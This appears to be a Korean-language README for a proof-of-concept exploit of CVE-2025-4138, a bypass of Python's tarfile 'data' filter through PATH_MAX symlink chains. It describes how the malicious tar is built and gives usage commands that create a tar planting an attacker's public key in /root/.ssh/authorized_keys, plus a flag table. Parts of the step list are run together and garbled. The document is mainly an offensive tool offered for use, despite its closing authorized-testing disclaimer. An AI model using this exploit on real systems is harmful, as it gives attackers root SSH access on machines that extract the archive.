
CVE-2025-4138 - Python 추출 디렉터리 외부에 임의 파일 쓰기
filter="data" 우회PATH_MAX 심볼릭 링크 체인을 통한 추출 디렉터리 외부의 임의 파일 쓰기
제보자: Caleb Brown (Google)
Python의 tarfile 데이터 필터는 os.path.realpath()를 사용하여 심볼릭 링크 대상을 검증합니다. 확인된 경로가 PATH_MAX(Linux의 경우 4096바이트)를 초과하면 realpath()는 조용히 확인을 중단하고 남은 구성 요소(../ 포함)를 리터럴 문자열로 추가합니다. 필터는 안전한 경로를 보지만, 커널은 실제 순회를 따릅니다.
익스플로잇은 네 단계로 tar를 구성합니다:
a→ddd..., b→ddd...). 확인된 경로를 약 3968바이트로 부풀립니다.../ × 16. realpath()가 오버플로되어 확인할 수 없습니다. 커널이 추출 루트로 되돌아갑니다./까지 올라간 후 대상 디렉터리로 내려갑니다.ssh-keygen -t ed25519 -f /tmp/key -N ""
python3 CVE-2025-4138_tarfile_filter_bypass.py \
-o evil.tar \
-t /root/.ssh/authorized_keys \
-p /tmp/key.pub \
-m 0600
| 플래그 | 설명 |
|---|---|
-o | 출력 tar 경로 |
-t | 대상에 쓸 파일의 절대 경로 |
-p | 페이로드 내용으로 사용할 로컬 파일 |
-m | 8진수 파일 권한 (기본값: 0644) |
승인된 보안 테스트 및 CTF 용도로만 사용하십시오.